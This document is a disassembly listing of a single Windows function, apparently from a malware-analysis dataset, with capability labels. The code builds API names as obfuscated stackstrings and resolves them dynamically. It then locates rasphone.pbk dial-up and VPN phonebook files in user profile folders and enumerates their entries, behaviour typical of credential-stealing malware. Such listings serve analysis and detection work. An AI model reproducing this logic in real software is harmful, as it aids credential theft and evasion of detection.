Function at 0x10003ab4
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
and byte [ebp - 0x1a], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x38]
push edi
mov ebx, str.kernel32.dll
push eax
mov dword [ebp - 0xc], ecx
push ebx
mov byte [ebp - 0x38], 0x47
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x50
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x76
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x50
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x2b], 0x66
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x4e
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x10], 0
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x6c
push eax
push ebx
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x41
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 8], 2
call fcn.100039d3
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x158]
mov edi, 0x105
push eax
mov dword [ebp - 0x3c], edi
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
lea eax, [ebp - 0x158]
push 0x1001d2fc
push eax
call dword [0x1001e3ac]
mov eax, dword [ebp - 0xc]
push dword [eax + 0x14]
lea eax, [ebp - 0x158]
push eax
call dword [0x1001e3ac]
mov esi, str.Application_Data
lea eax, [ebp - 0x158]
push esi
push eax
call dword [0x1001e3ac]
push dword [0x1001d204]
lea eax, [ebp - 0x158]
push eax
call dword [0x1001e3ac]
lea eax, [ebp - 0x158]
push eax
call fcn.1000395b
test al, al
pop ecx
mov ebx, str.MicrosoftNetworkConnectionspbk_rasphone.pbk
jne 0x10003c32
push str._USERPROFILE_Application_Data
push ebx
call dword [0x1001e3ac]
lea eax, [ebp - 0x158]
push edi
push eax
push ebx
call dword [0x1001e3b0]
push 0
lea eax, [ebp - 0x368]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x368]
push ebx
push eax
lea eax, [ebp - 0x368]
push 0x1001d2c0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
lea eax, [ebp - 0x260]
push esi
push eax
call dword [0x1001e3ac]
push dword [0x1001d204]
lea eax, [ebp - 0x260]
push eax
call dword [0x1001e3ac]
cmp dword [ebp - 4], 0
je 0x10003ca9
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x158]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x368]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x260]
push eax
call fcn.1000395b
test al, al
pop ecx
je 0x10003cf4
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x10003cf4
push 3
lea eax, [ebp - 0x260]
pop edi
mov dword [ebp - 0x48], eax
jmp 0x10003cf7
mov edi, dword [ebp - 8]
mov esi, 0x2000
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
and dword [ebp - 8], 0
pop ecx
test edi, edi
mov ebx, eax
jle 0x10003d4e
lea eax, [ebp - 0x50]
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], eax
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
push dword [eax]
push esi
push ebx
call dword [ebp - 0x44]
cmp byte [ebx], 0
mov edi, ebx
je 0x10003d45
inc dword [ebp - 8]
push edi
call dword [ebp - 0x40]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x10003d33
add dword [ebp - 4], 4
dec dword [ebp - 0xc]
jne 0x10003d16
push ebx
call fcn.100168e6
mov eax, dword [ebp - 8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret